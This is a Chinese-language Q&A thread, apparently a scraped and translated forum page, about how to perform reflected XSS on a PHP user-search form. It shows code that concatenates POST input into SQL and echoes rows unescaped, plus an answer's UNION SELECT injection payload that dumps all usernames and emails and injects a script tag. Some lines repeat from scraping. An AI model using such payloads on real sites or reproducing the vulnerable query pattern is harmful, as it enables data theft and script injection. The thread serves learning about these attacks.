如何执行非持久性XSS附加到简单php搜索字段
我有一个php搜索字段,在数据库中搜索用户并在表中输出 我想学习如何对搜索字段执行简单的非持久性XSS攻击 这是我的php:如何执行非持久性XSS附加到简单php搜索字段,php,xss,Php,Xss,我有一个php搜索字段,在数据库中搜索用户并在表中输出 我想学习如何对搜索字段执行简单的非持久性XSS攻击 这是我的php: echo "List of user(s) found:<br><br>"; $query = "select display_name, email from members where user_name='".$_POST['search_name']."';"; $res = mysqli_query($Connect,
echo "List of user(s) found:<br><br>";
$query = "select display_name, email from members where user_name='".$_POST['search_name']."';";
$res = mysqli_query($Connect,$query);
if (mysqli_num_rows($res) > 0 )
{
echo "<table border=1>";
echo "<tr><th>Display Name</th><th>Email</th></tr>";
while($row=mysqli_fetch_assoc($res))
{
echo "<tr><td>$row[display_name]</td><td>$row[email]</td></tr>";
}
echo "</table>";
}
else
{
echo "User not found!";
}
我曾尝试发送一些后台更改语法和警报,但似乎都不起作用
<div style="background:<?php echo $colour ?>;">
<script>alert(‘XSS injection’)</script>
有人能向我解释一下我将如何应对任何形式的攻击吗
NB:我希望它是一个POST方法,而不是
谢谢。如果您只是想了解它们是如何工作的,那么您可以发布如下内容:
$_POST['search_name'] = "' OR 1=1 UNION SELECT '<script>alert(\"XSS Injection\");</script>', '";
select display_name, email from members where user_name='' OR 1=1 UNION SELECT '<script>alert(\"XSS Injection\");</script>', '';
这将允许您将XSS注入页面,并获取所有用户名/电子邮件
e:生成的查询如下所示:
$_POST['search_name'] = "' OR 1=1 UNION SELECT '<script>alert(\"XSS Injection\");</script>', '";
select display_name, email from members where user_name='' OR 1=1 UNION SELECT '<script>alert(\"XSS Injection\");</script>', '';
结果如下所示:
$_POST['search_name'] = "' OR 1=1 UNION SELECT '<script>alert(\"XSS Injection\");</script>', '";
select display_name, email from members where user_name='' OR 1=1 UNION SELECT '<script>alert(\"XSS Injection\");</script>', '';
您可以将数据注入查询,使其作为行添加到结果中,然后将其注入HTML。双重注射我很确定这不会起作用。一方面,没有相似之处。另一件事是,它不仅要输出返回的内容。你需要给它一个别名,并给它和上一个select相同的列分配。是的,这是一个公平点。尽管如此,XSS仍然可以工作e:经过编辑,它不依赖于“LIKE”,并且仍然有相同的结果,所以你的代码确实有效果。它检索所有用户并将其放在表中。虽然警报从未发生过!该值需要使用别名。实际上,联合只会将结果放在相同的列中